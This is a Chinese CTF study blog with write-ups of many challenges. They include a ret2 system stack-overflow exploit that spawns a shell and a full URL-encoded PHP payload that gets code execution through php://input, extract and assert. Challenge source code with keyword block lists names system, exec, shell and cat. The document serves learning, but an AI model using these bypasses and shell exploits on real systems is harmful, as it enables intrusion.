五题积累之(一) 1.Crypto [鹤城杯 2021]easy_crypto #古典密码 #词频分析
公正公正公正诚信文明公正民主公正法治法治诚信民主自由敬业公正友善公正平等平等法治民主平等平等和谐敬业自由诚信平等和谐平等公正法治法治平等平等爱国和谐公正平等敬业公正敬业自由敬业平等自由法治和谐平等文明自由诚信自由平等富强公正敬业平等民主公正诚信和谐公正文明公正爱国自由诚信自由平等文明公正诚信富强自由法治法治平等平等自由平等富强法治诚信和谐
社会主义核心价值观解密:
flag{IlUqU9O5guX6YiITsRNPiQmbhNRjGuTP}
2.Web [鹤城杯 2021]流量分析 #流量分析 #日志审计 #脚本编写 抢分做法:一把梭
回顾:
发现大量HTTP请求包含SQL盲注特征
攻击者使用ASCII逐字符提取技术,通过判断每个位置字符的ASCII值来获取flag
这种技术是典型的基于响应的SQL盲注攻击
攻击者通过盲注技术获取了存储在数据库表 t 中的flag字段内容。
flag{w1reshARK_ez_1sntit}
3.Misc [NSSRound#12 Basic]坏东西 #PDF隐写#压缩包分析 先尝试用文件名解压,发现确实是解压密码。
显然多层嵌套无底洞。
1 2 3 4 5 6 7 8 import zipfilename = '99020' while True : fz = zipfile.ZipFile(name + '.zip' , 'r' ) fz.extractall(pwd=bytes (name, 'utf-8' )) name = fz.filelist[0 ].filename.rstrip('.zip' ) print (fz.filelist[0 ].filename) fz.close()
解压后得到破损PDF
放入010editor查看
很规律的一大块。发现其中Filter前面暗藏玄机。故Ctrl+F搜索Filter,在Variables 变量表中获取flag
NSSCTF{25da50b7993c0db55867a5a51f32f35c}
4.Pwn [WUSTCTF 2020]getshell2 #栈溢出 #ret2syscall #栈 附件:service
题目环境:
直接file+checksec
只开启了栈不可执行,应该是栈溢出题目。
使用ROPgadget
找到了sh地址:0x08048670
直接写死:sh_addr = 0x08048670
栈溢出(Stack Overflow) 漏洞:
程序执行完一个函数后,会跳回它被调用的地方,即返回地址(存于栈上)
当攻击者输入超长数据后,会覆盖返回地址(Return Address)
gets()、strcpy() 等属于没有边界检查的函数。
🛠️ 六、完整攻击流程
连接远程服务
p = remote(‘ip’, port)
构造 payload
- 填充 28 字节到返回地址位置
- 覆盖返回地址为 `system`
- 提供 fake return 和 `"sh"` 地址
发送 payload
1 2 3 4 5 6 Python 编辑 1p.sendline(payload)
进入交互模式,输入命令
1 2 3 4 5 6 Python 编辑 1p.interactive() # 之后你就可以输入 ls, cat flag.txt 等
Q1: 为什么不用 "/bin/sh",而用 "sh"?
很多题目为了简化,只放了 "sh"。
在 Linux 中,system("sh") 和 system("/bin/sh") 效果几乎一样,都能弹 shell。
Q2: 0xdeadbeef 是什么?会 crash 吗?
它只是一个“占位符”,表示“随便填个地址”。
只要你在 system 返回前已经拿到 shell,程序是否 crash 都不影响你读 flag。
Q3: 为什么偏移是 28(0x18+4)?
0x18 = 24 字节是 buffer 大小
+4 是 saved ebp(旧的栈基址指针)
总共 28 字节后,才是返回地址
5.Reverse [SEETF 2022]Magic #反调试 #REVERSE 题目描述:There might be a hidden gate to the magical land of flags…
默认值:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 int __cdecl __noreturn main(int argc, const char **argv, const char **envp) { _OWORD v3[2]; // [esp-C0h] [ebp-CCh] BYREF __int64 v4; // [esp-A0h] [ebp-ACh] int v5; // [esp-98h] [ebp-A4h] char v6[3]; // [esp-94h] [ebp-A0h] BYREF int v7; // [esp+4h] [ebp-8h] int retaddr; // [esp+Ch] [ebp+0h] v7 = retaddr; v5 = 1725917800; v3[0] = xmmword_403148; strcpy(v6, "h6"); v3[1] = xmmword_403158; v4 = 0x7CE4457476DB4268i64; ((void (__thiscall __noreturn *)(_OWORD *))sub_401290)(v3);
重新用ida32打开magic.exe,进入内核选项 kernel options,取消勾选 进行"无返回"分析 perform no-return analysis,这样分析main 函数内容会更完整。
操作后:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 int __cdecl main(int argc, const char **argv, const char **envp) { int v3; // ebp char v4; // di int v5; // ecx FILE *v6; // eax int i; // edi DWORD TickCount; // eax HKEY v10; // [esp-13Ch] [ebp-148h] BYREF DWORD v11; // [esp-138h] [ebp-144h] BYREF __int16 v12; // [esp-134h] [ebp-140h] _OWORD v13[4]; // [esp-130h] [ebp-13Ch] BYREF char v14[24]; // [esp-F0h] [ebp-FCh] BYREF BYTE v15[24]; // [esp-D8h] [ebp-E4h] BYREF _OWORD v16[2]; // [esp-C0h] [ebp-CCh] BYREF __int64 v17; // [esp-A0h] [ebp-ACh] int v18; // [esp-98h] [ebp-A4h] char v19[3]; // [esp-94h] [ebp-A0h] BYREF _OWORD v20[2]; // [esp-90h] [ebp-9Ch] BYREF __int16 v21; // [esp-70h] [ebp-7Ch] char v22; // [esp-6Eh] [ebp-7Ah] _OWORD v23[2]; // [esp-54h] [ebp-60h] BYREF __int16 v24; // [esp-34h] [ebp-40h] __int128 v25; // [esp-30h] [ebp-3Ch] BYREF int v26; // [esp-20h] [ebp-2Ch] char v27; // [esp-1Ch] [ebp-28h] char v28[12]; // [esp-18h] [ebp-24h] BYREF int v29; // [esp-Ch] [ebp-18h] BYREF __int16 v30; // [esp-8h] [ebp-14h] int v31; // [esp+0h] [ebp-Ch] int v32; // [esp+4h] [ebp-8h] int retaddr; // [esp+Ch] [ebp+0h] v31 = v3; v32 = retaddr; v18 = 1725917800; v16[0] = xmmword_403148; strcpy(v19, "h6"); v16[1] = xmmword_403158; v17 = 0x7CE4457476DB4268i64; sub_401290(v16); RegOpenKeyExA(HKEY_LOCAL_MACHINE, (LPCSTR)v16, 0, 0x101u, &v10); v29 = 1741189973; v30 = 96; sub_401290(&v29); v11 = 21; if ( RegQueryValueExA(v10, (LPCSTR)&v29, 0, 0, v15, &v11) ) return -1; v12 = 20; sub_401170(v14); v26 = -405287383; v25 = xmmword_4031F0; v27 = 0; if ( strncmp(v14, (const char *)&v25, 0x14u) ) return -1; v13[0] = xmmword_4031B0; v13[1] = xmmword_4031D0; v13[2] = xmmword_4031C0; v13[3] = xmmword_4031E0; sub_4012F0(v13, v15, v5); sub_4011D0("%s", (char)v13); v6 = _acrt_iob_func(0); fgets(v28, 9, v6); if ( !atoi(v28) ) { sub_4011D0("nope", v4); return -1; } if ( sub_401360(v28) == -1339812568 ) { if ( IsDebuggerPresent() ) goto LABEL_13; v21 = 5692; v20[0] = xmmword_40318C; v22 = 0; v20[1] = xmmword_40319C; sub_401290(v20); sub_4011D0("%s", (char)v20); for ( i = 0; i < 8; ++i ) { TickCount = GetTickCount(); v28[i] -= 10; if ( GetTickCount() - TickCount > 0x5DC ) goto LABEL_13; } v23[0] = xmmword_403200; v23[1] = xmmword_403210; v24 = -10010; sub_401170(v23); if ( IsDebuggerPresent() ) LABEL_13: ExitProcess(0xFFFFFFFF); sub_4011D0("%s", (char)v23); return 0; } else { sub_4011D0("nope", v4); return 0; } }
原因:
部分函数直接调用 ExitProcess 退出而不返回,以阻碍动调。ida识别后认为是结束点,就不分析 main 函数剩下的代码了。
五题积累之(二) 1.MISC 2.Reverse [MoeCTF 2021]midpython #Python #自定义逻辑 #REVERSE
https://cn.bing.com/search?q=pyinstxtractor
这个工具可以将PyInstaller编译的.exe文件反编译回源代码.py文件
1 python pyinstxtractor.py 文件名
获得大量文件。寻找核心的Midpython.pyc,使用pycdc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 key = [ 69 , 70 , 79 , 72 , 88 , 75 , 85 , 127 , 89 , 85 , 74 , 19 , 74 , 122 , 107 , 103 , 75 , 77 , 9 , 73 , 29 , 28 , 67 ] xxor = lambda x, y: x ^ y ^ 11 xoor = lambda x, y: xxor(x, y) ^ 45 xorr = lambda x, y: xoor(x, y) ^ 14 length = len (key) ipt = input ('>>>input your flag:\n>>>' ) flag = 1 if len (ipt) == length: for i in range (length): if xorr(ord (ipt[i]), i) != key[i]: flag = 0 flag = 0 if flag == 1 : print ('>>>Right!!' ) else : print ('>>>Wrong!!' )
1 xorr(x, y) = xoor(x, y) ^ 14 = ((x ^ y ^ 11) ^ 45) ^ 14
1 2 3 4 5 6 7 8 9 10 11 12 key = [69 ,70 ,79 ,72 ,88 ,75 ,85 ,127 ,89 ,85 ,74 ,19 ,74 ,122 ,107 ,103 ,75 ,77 ,9 ,73 ,29 ,28 ,67 ] xxor = lambda x, y: x ^ y ^ 11 xoor = lambda x, y: xxor(x, y) ^ 45 xorr = lambda x, y: xoor(x, y) ^ 14 flag= [] for i in range (len (key)): for x in range (32 , 127 ): if xorr(x, i) == key[i]: flag.append(chr (x)) break print ('' .join(flag))
选择32~126的原因:
ASCII(美国标准信息交换码)将字符分为几个主要范围:
0-31 :控制字符(不可打印),如换行符(\n)、制表符(\t)、回车符(\r)等,这些字符在屏幕上无法正常显示为可见字符。
32 :空格字符,是唯一可打印的控制字符。
33-126 :可打印字符,包括所有常用字符:标点符号(如!、@、#、$等)、数字(0-9)、大写字母(A-Z)、小写字母(a-z)、其他符号(如=、+、-、*等)。
moectf{Pyth0n_M@st3r!!}
3.Crypto [SWPU 2019]伟大的侦探 #跳舞的小人 #编码分析 #编码转换 附件压缩包里一个txt文本,一个加密文件夹
将密码.txt放入010 editor
wllm_is_the_best_team!
解压得到:
网上搜索跳舞的小人解码图:
flag{iloveholmesandwllm}
4.Web [SWPUCTF 2021 新生赛]easy_md5 lamaper #弱比较 #PHP #数组绕过 既要两变量个值不相同,又要两个变量md5值一样。 可以发现此时判断md5值是否一样用的是==,这是php的弱类型比较,方法一: 可以使用带0e开头的数字穿进行传递参数,因为php会将0e开头的数字转化为0,故此时md5值相等,而两个变量值不相等;方法二: 可以传递数组,如name[]=123,password[]=456,md5不能加密数组,故两个md5返回的都是null
另:若遇到===这样的强类型比较,方法一就失效了,方法二仍然有效,或者还可以使用软件fastcoll进行md5碰撞,生成两个字符串使得他们的md5值相同
Misc [BJDCTF 2020]鸡你太美 #编码分析 #脚本编写 #GIF提取
这个gif文件没有正确显示。文件头修复:
NSSCTF{zhi-yin-you-are-beautiful}
Misc [SWPUCTF 2021 新生赛]gif好像有点大 #GIF #提取二维码 #图片隐写 纯找。
Web [BJDCTF 2020]Ezphp 环境:http://node4.anna.nssctf.cn:28905/
Ctrl+U查看源代码
**GFXEIM3YFZYGQ4A=**显然是线索。
全大写+等号,推测是base32编码。放入CyberChef解码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 <?php highlight_file (__FILE__ ); error_reporting (0 ); $file = "1nD3x.php" ;$shana = $_GET ['shana' ];$passwd = $_GET ['passwd' ];$arg = '' ;$code = '' ;echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>" ;if ($_SERVER ) { if ( preg_match ('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i' , $_SERVER ['QUERY_STRING' ]) ) die ('You seem to want to do something bad?' ); } if (!preg_match ('/http|https/i' , $_GET ['file' ])) { if (preg_match ('/^aqua_is_cute$/' , $_GET ['debu' ]) && $_GET ['debu' ] !== 'aqua_is_cute' ) { $file = $_GET ["file" ]; echo "Neeeeee! Good Job!<br>" ; } } else die ('fxck you! What do you want to do ?!' ); if ($_REQUEST ) { foreach ($_REQUEST as $value ) { if (preg_match ('/[a-zA-Z]/i' , $value )) die ('fxck you! I hate English!' ); } } if (file_get_contents ($file ) !== 'debu_debu_aqua' ) die ("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>" ); if ( sha1 ($shana ) === sha1 ($passwd ) && $shana != $passwd ){ extract ($_GET ["flag" ]); echo "Very good! you know my password. But what is flag?<br>" ; } else { die ("fxck you! you don't know my password! And you don't know sha1! why you come here!" ); } if (preg_match ('/^[a-z0-9]*$/isD' , $code ) || preg_match ('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i' , $arg ) ) { die ("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=" ); } else { include "flag.php" ; $code ('' , $arg ); } ?> 这是一个非常简单的挑战,如果你解决,我会给你一面旗帜。祝你好运! 你!我讨厌英语!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 <code><span style="color: #000000" > <span style="color: #0000BB" ><?php <br />highlight_file</span><span style="color: #007700" >(</span><span style="color: #0000BB" >__FILE__ </span><span style="color: #007700" >); <br /></span><span style="color: #0000BB" >error_reporting</span><span style="color: #007700" >(</span><span style="color: #0000BB" >0 </span><span style="color: #007700" >); <br /> <br /></span><span style="color: #0000BB" >$file </span><span style="color: #007700" >= </span><span style="color: #DD0000" >"1nD3x.php" </span><span style="color: #007700" >; <br /></span><span style="color: #0000BB" >$shana </span><span style="color: #007700" >= </span><span style="color: #0000BB" >$_GET </span><span style="color: #007700" >[</span><span style="color: #DD0000" >'shana' </span><span style="color: #007700" >]; <br /></span><span style="color: #0000BB" >$passwd </span><span style="color: #007700" >= </span><span style="color: #0000BB" >$_GET </span><span style="color: #007700" >[</span><span style="color: #DD0000" >'passwd' </span><span style="color: #007700" >]; <br /></span><span style="color: #0000BB" >$arg </span><span style="color: #007700" >= </span><span style="color: #DD0000" >'' </span><span style="color: #007700" >; <br /></span><span style="color: #0000BB" >$code </span><span style="color: #007700" >= </span><span style="color: #DD0000" >'' </span><span style="color: #007700" >; <br /> <br />echo </span><span style="color: #DD0000" >"<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>" </span><span style="color: #007700" >; <br /> <br />if (</span><span style="color: #0000BB" >$_SERVER </span><span style="color: #007700" >) { <br /> if ( <br /> </span><span style="color: #0000BB" >preg_match</span><span style="color: #007700" >(</span><span style="color: #DD0000" >'/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i' </span><span style="color: #007700" >, </span><span style="color: #0000BB" >$_SERVER </span><span style="color: #007700" >[</span><span style="color: #DD0000" >'QUERY_STRING' </span><span style="color: #007700" >]) <br /> ) <br /> die (</span><span style="color: #DD0000" >'You seem to want to do something bad?' </span><span style="color: #007700" >); <br />} <br /> <br />if (!</span><span style="color: #0000BB" >preg_match</span><span style="color: #007700" >(</span><span style="color: #DD0000" >'/http|https/i' </span><span style="color: #007700" >, </span><span style="color: #0000BB" >$_GET </span><span style="color: #007700" >[</span><span style="color: #DD0000" >'file' </span><span style="color: #007700" >])) { <br /> if (</span><span style="color: #0000BB" >preg_match</span><span style="color: #007700" >(</span><span style="color: #DD0000" >'/^aqua_is_cute$/' </span><span style="color: #007700" >, </span><span style="color: #0000BB" >$_GET </span><span style="color: #007700" >[</span><span style="color: #DD0000" >'debu' </span><span style="color: #007700" >]) && </span><span style="color: #0000BB" >$_GET </span><span style="color: #007700" >[</span><span style="color: #DD0000" >'debu' </span><span style="color: #007700" >] !== </span><span style="color: #DD0000" >'aqua_is_cute' </span><span style="color: #007700" >) { <br /> </span><span style="color: #0000BB" >$file </span><span style="color: #007700" >= </span><span style="color: #0000BB" >$_GET </span><span style="color: #007700" >[</span><span style="color: #DD0000" >"file" </span><span style="color: #007700" >]; <br /> echo </span><span style="color: #DD0000" >"Neeeeee! Good Job!<br>" </span><span style="color: #007700" >; <br /> } <br />} else die (</span><span style="color: #DD0000" >'fxck you! What do you want to do ?!' </span><span style="color: #007700" >); <br /> <br />if (</span><span style="color: #0000BB" >$_REQUEST </span><span style="color: #007700" >) { <br /> foreach (</span><span style="color: #0000BB" >$_REQUEST </span><span style="color: #007700" >as </span><span style="color: #0000BB" >$value </span><span style="color: #007700" >) { <br /> if (</span><span style="color: #0000BB" >preg_match</span><span style="color: #007700" >(</span><span style="color: #DD0000" >'/[a-zA-Z]/i' </span><span style="color: #007700" >, </span><span style="color: #0000BB" >$value </span><span style="color: #007700" >)) <br /> die (</span><span style="color: #DD0000" >'fxck you! I hate English!' </span><span style="color: #007700" >); <br /> } <br />} <br /> <br />if (</span><span style="color: #0000BB" >file_get_contents</span><span style="color: #007700" >(</span><span style="color: #0000BB" >$file </span><span style="color: #007700" >) !== </span><span style="color: #DD0000" >'debu_debu_aqua' </span><span style="color: #007700" >) <br /> die (</span><span style="color: #DD0000" >"Aqua is the cutest five-year-old child in the world! Isn't it ?<br>" </span><span style="color: #007700" >); <br /> <br /> <br />if ( </span><span style="color: #0000BB" >sha1</span><span style="color: #007700" >(</span><span style="color: #0000BB" >$shana </span><span style="color: #007700" >) === </span><span style="color: #0000BB" >sha1</span><span style="color: #007700" >(</span><span style="color: #0000BB" >$passwd </span><span style="color: #007700" >) && </span><span style="color: #0000BB" >$shana </span><span style="color: #007700" >!= </span><span style="color: #0000BB" >$passwd </span><span style="color: #007700" >){ <br /> </span><span style="color: #0000BB" >extract</span><span style="color: #007700" >(</span><span style="color: #0000BB" >$_GET </span><span style="color: #007700" >[</span><span style="color: #DD0000" >"flag" </span><span style="color: #007700" >]); <br /> echo </span><span style="color: #DD0000" >"Very good! you know my password. But what is flag?<br>" </span><span style="color: #007700" >; <br />} else { <br /> die (</span><span style="color: #DD0000" >"fxck you! you don't know my password! And you don't know sha1! why you come here!" </span><span style="color: #007700" >); <br />} <br /> <br />if (</span><span style="color: #0000BB" >preg_match</span><span style="color: #007700" >(</span><span style="color: #DD0000" >'/^[a-z0-9]*$/isD' </span><span style="color: #007700" >, </span><span style="color: #0000BB" >$code </span><span style="color: #007700" >) || <br /></span><span style="color: #0000BB" >preg_match</span><span style="color: #007700" >(</span><span style="color: #DD0000" >'/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i' </span><span style="color: #007700" >, </span><span style="color: #0000BB" >$arg </span><span style="color: #007700" >) ) { <br /> die (</span><span style="color: #DD0000" >"<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=" </span><span style="color: #007700" >); <br />} else { <br /> include </span><span style="color: #DD0000" >"flag.php" </span><span style="color: #007700" >; <br /> </span><span style="color: #0000BB" >$code </span><span style="color: #007700" >(</span><span style="color: #DD0000" >'' </span><span style="color: #007700" >, </span><span style="color: #0000BB" >$arg </span><span style="color: #007700" >); <br />} </span><span style="color: #0000BB" >?></span> </span> </code><br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>fxck you! I hate English!
1. 代码分析 首先,我们来梳理一下代码的执行流程和关键条件:
QUERY_STRING检查 :URL中不能包含敏感字符(如shana、debu、aqua等),否则直接退出。
file参数检查 :不能包含http或https,否则直接退出。
debu参数条件 :
正则匹配/^aqua_is_cute$/
$_GET[‘debu’] !== ‘aqua_is_cute’ 满足则将file参数设置为用户输入的值。
$_REQUEST参数检查 :所有参数值不能包含字母,否则退出。
file_get_contents检查 :file_get_contents($file)必须等于’debu_debu_aqua’,否则退出。
sha1比较 :sha1($ shana) === sha1( $passwd)且$ shana != $passwd,否则退出。
code和arg参数检查 :不能包含敏感字符,否则退出。
执行代码 :包含flag.php,执行$ code(‘’, $arg)。
2. 绕过方法 2.1 QUERY_STRING检查 使用URL编码绕过,将敏感字符编码为十六进制格式,例如:
shana → %73%68%61%6e%61
debu → %64%65%62%75
flag → %66%6c%61%67 2.2 debu参数条件绕过 这个条件看起来矛盾,但我们可以 不满足此条件 ,而是通过后续的extract函数覆盖$ file变量。 2.3 $_REQUEST参数检查 所有参数值不能包含字母,我们可以使用 数组 作为参数值,例如:
shana[]=1
passwd[]=2 2.4 file_get_contents检查 使用 php://input 伪协议,通过POST方式提交数据’debu_debu_aqua’,这样file_get_contents($file)就会返回POST的数据。 2.5 sha1比较绕过 利用PHP中sha1(array())返回NULL的特性,使用不同的数组作为参数值,例如:
shana[]=1
passwd[]=2 这样sha1($ shana) === sha1( $passwd)(都返回NULL)且$ shana != $passwd(数组不同)。 2.6 执行代码获取flag 通过extract函数设置$ code和 $arg变量,使用 assert函数 执行任意代码,例如:
flag[code]=assert
flag[arg]=var_dump($ flag) 这样 $code(‘’, $ arg)就会执行var_dump( $flag),输出flag的值。
3. 最终payload
URL :
1 2 3 4 http://node4.anna.nssctf.cn:28905/1nD3x.php?%73%68%61%6e%61%5b%5d=1& %70%61%73%73%77%64%5b%5d=2&%66%6c%61%67%5b%63%6f%64%65%5d=assert& %66%6c%61%67%5b%61%72%67%5d=var_dump%28%24%66%6c%61%67%29& %66%69%6c%65=php%3a%2f%2finput
POST数据 :
4. 执行流程
URL使用URL编码,绕过QUERY_STRING检查。
file参数设置为php://input,不包含http或https,通过检查。
debu参数不存在,不满足条件,但后续extract函数会覆盖$file变量。
shana和passwd参数值为数组,不包含字母,通过$_REQUEST检查。
file_get_contents(php://input)返回POST数据’debu_debu_aqua’,通过检查。
sha1比较使用数组,返回NULL,且数组不同,通过检查。
extract函数设置$ code=assert, $arg=var_dump($flag)。
包含flag.php,执行assert(‘’, var_dump($flag)),输出flag的值。
5. 预期结果 执行上述payload后,页面会输出$flag变量的值,即最终的flag。
这个挑战主要考察了。通过分析代码的执行流程,找出各个条件的绕过方法,最终成功获取flag。
Misc [SDCTF 2022]Susan Album Party #图片隐写 #图片分离 #结构隐写 My friend Susan is having a photo album party, but she accidentally corrupted the SD card with all her photos on it! Can you save Susan’s party by recovering her photos?
附件:stub
查看发现是jpeg格式。修改后缀:
题目photos提示有多个图片。可能是叠在一起了。
binwalk和foremost并未提取出结果
搜索FF D8 FF EE 出现三个结果。
把另外两个图片复制出来保存。
这里很坑,明明写得像SOME结果说是S0ME。看来该leet还得leet。
sdctf{FFD8_th3n_S0ME_s7uff_FFD9}
Web [SWPUCTF 2021 新生赛]easy_md5 #弱比较 #PHP #数组绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php highlight_file (__FILE__ ); include 'flag2.php' ;if (isset ($_GET ['name' ]) && isset ($_POST ['password' ])){ $name = $_GET ['name' ]; $password = $_POST ['password' ]; if ($name != $password && md5 ($name ) == md5 ($password )){ echo $flag ; else { echo "wrong!" ; } } else { echo 'wrong!' ; } ?>
EXECUTE
漏洞原理
当PHP的 md5() 函数接收 数组 时,会返回 NULL
md5(array(‘1’)) == md5(array(‘2’)) 结果为 true (都返回 NULL )
但 array(‘1’) != array(‘2’) 结果也为 true (不同的数组实例)
因此满足条件 $ name != $password && md5($ name) == md5( $password)
核心漏洞原理
当PHP的 md5() 函数接收 数组 作为参数时,会返回 NULL (而不是报错)。
例如: md5(array(‘1’)) 和 md5(array(‘2’)) 都会返回 NULL 。
因此: md5(array(‘1’)) == md5(array(‘2’)) 结果为 true (因为两个都返回 NULL )。
但 array(‘1’) != array(‘2’) 结果也为 true (因为它们是 不同的数组实例 )。
这就满足了核心条件: $ name != $password && md5($ name) == md5( $password) 。
为什么用数组可以绕过?
GET参数传 name[]=1 :表示 $name 是一个 数组 ,值为 array(‘1’) 。
POST参数传 password[]=2 :表示 $password 是一个 数组 ,值为 array(‘2’) 。
array(‘1’) != array(‘2’) → true (不同数组实例)。
md5(array(‘1’)) == md5(array(‘2’)) → true (都返回 NULL )。
因此条件成立,输出 flag 。
总结 这个题目利用了PHP md5() 函数处理数组时的 特殊行为 (返回NULL),通过构造不同的数组参数,绕过了“值不同但MD5相同”的条件,从而获取到flag。这是Web安全中经典的 类型混淆漏洞 。
[鹤城杯 2021]A_CRYPTO #Base家族 #ROT #古典密码
4O595954494Q32515046324757595N534R52415653334357474R4N575955544R4O5N4Q46434S4O59474253464Q5N444R4Q51334557524O5N4S424944473542554O595N44534O324R49565746515532464O49345649564O464R4R494543504N35
这题只有一种方法:ciphey一把梭,否则是无法按常理做出来的。
flag{W0w_y0u_c4n_rea11y_enc0d1ng!}
[西湖论剑 2022]mp3 #Misc文件 #隐写音频 #隐写
把需要分析的mp3文件拖到MP3stego所在目录
Decode.exe -X cipher.mp3
[TCTF 2019]babyrsa #AMM #Crypto #RSA RSA challs are always easy, right? Even if N is not a integer.
[ByteCTF 2019]BabyBlog #二次注入 #正则RCE #diable_function绕过 [SWPUCTF 2021 新生赛]Do_you_know_http #HTTP协议 #信息收集 #PHP
[长城杯 2021 院校组]签到 #编码分析 #字符编码ASCII
5a6d78685a3374585a57786a6232316c5833527658324e6f5957356e5932686c626d64695a544639
先hexadecimal再base64
flag{Welcome_to_changchengbe1}
[陇剑杯 2021]webshell(问1) #流量分析 #Webshell #流量日志审计 单位网站被黑客挂马,请您从流量中分析出webshell,进行回答: 黑客登录系统使用的密码是_____________。
NSSCTF{Admin123!@#}
[NISACTF 2022]huaji? #图片隐写 #压缩包分析 #图片分离
binwalk提取文件:
一个加密zip内含flag
接下来找解压密码。原图片应该还有未发掘信息。
6374665f4e4953415f32303232
ctf_NISA_2022。解压
flag{Nls@_FumYEnnOjy}
[SWPUCTF 2021 新生赛]Do_you_know_http #HTTP协议 #信息收集 #PHP 法一:Hackbar
修改User Agent为WLLM,EXECUTE
先把URL改为a.php,再添加X-Forward-For为127.0.0.1
NSSCTF{4732ec48-fa30-4e78-93c3-3fafe98452b8}
[BJDCTF 2020]base?? #Base家族 #古典密码 #其他
dict:{0: ‘J’, 1: ‘K’, 2: ‘L’, 3: ‘M’, 4: ‘N’, 5: ‘O’, 6: ‘x’, 7: ‘y’, 8: ‘U’, 9: ‘V’, 10: ‘z’, 11: ‘A’, 12: ‘B’, 13: ‘C’, 14: ‘D’, 15: ‘E’, 16: ‘F’, 17: ‘G’, 18: ‘H’, 19: ‘7’, 20: ‘8’, 21: ‘9’, 22: ‘P’, 23: ‘Q’, 24: ‘I’, 25: ‘a’, 26: ‘b’, 27: ‘c’, 28: ‘d’, 29: ‘e’, 30: ‘f’, 31: ‘g’, 32: ‘h’, 33: ‘i’, 34: ‘j’, 35: ‘k’, 36: ‘l’, 37: ‘m’, 38: ‘W’, 39: ‘X’, 40: ‘Y’, 41: ‘Z’, 42: ‘0’, 43: ‘1’, 44: ‘2’, 45: ‘3’, 46: ‘4’, 47: ‘5’, 48: ‘6’, 49: ‘R’, 50: ‘S’, 51: ‘T’, 52: ‘n’, 53: ‘o’, 54: ‘p’, 55: ‘q’, 56: ‘r’, 57: ‘s’, 58: ‘t’, 59: ‘u’, 60: ‘v’, 61: ‘w’, 62: ‘+’, 63: ‘/‘, 64: ‘=’}
chipertext:
FlZNfnF6Qol6e9w17WwQQoGYBQCgIkGTa9w3IQKw
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 dictionary = { 0 : 'J' , 1 : 'K' , 2 : 'L' , 3 : 'M' , 4 : 'N' , 5 : 'O' , 6 : 'x' , 7 : 'y' , 8 : 'U' , 9 : 'V' , 10 : 'z' , 11 : 'A' , 12 : 'B' , 13 : 'C' , 14 : 'D' , 15 : 'E' , 16 : 'F' , 17 : 'G' , 18 : 'H' , 19 : '7' , 20 : '8' , 21 : '9' , 22 : 'P' , 23 : 'Q' , 24 : 'I' , 25 : 'a' , 26 : 'b' , 27 : 'c' , 28 : 'd' , 29 : 'e' , 30 : 'f' , 31 : 'g' , 32 : 'h' , 33 : 'i' , 34 : 'j' , 35 : 'k' , 36 : 'l' , 37 : 'm' , 38 : 'W' , 39 : 'X' , 40 : 'Y' , 41 : 'Z' , 42 : '0' , 43 : '1' , 44 : '2' , 45 : '3' , 46 : '4' , 47 : '5' , 48 : '6' , 49 : 'R' , 50 : 'S' , 51 : 'T' , 52 : 'n' , 53 : 'o' , 54 : 'p' , 55 : 'q' , 56 : 'r' , 57 : 's' , 58 : 't' , 59 : 'u' , 60 : 'v' , 61 : 'w' , 62 : '+' , 63 : '/' , 64 : '=' } ciphertext = "FlZNfnF6Qol6e9w17WwQQoGYBQCgIkGTa9w3IQKw" def decrypt_custom_base64 (ciphertext, mapping ): reverse_mapping = {v: k for k, v in mapping.items()} indices = [] for char in ciphertext: if char in reverse_mapping: indices.append(reverse_mapping[char]) else : print (f"Warning: Character '{char} ' not found in mapping" ) binary_str = '' for idx in indices: binary_str += f"{idx:06b} " padding = len (binary_str) % 8 if padding > 0 : binary_str = binary_str[:-padding] bytes_data = bytearray () for i in range (0 , len (binary_str), 8 ): byte = binary_str[i:i+8 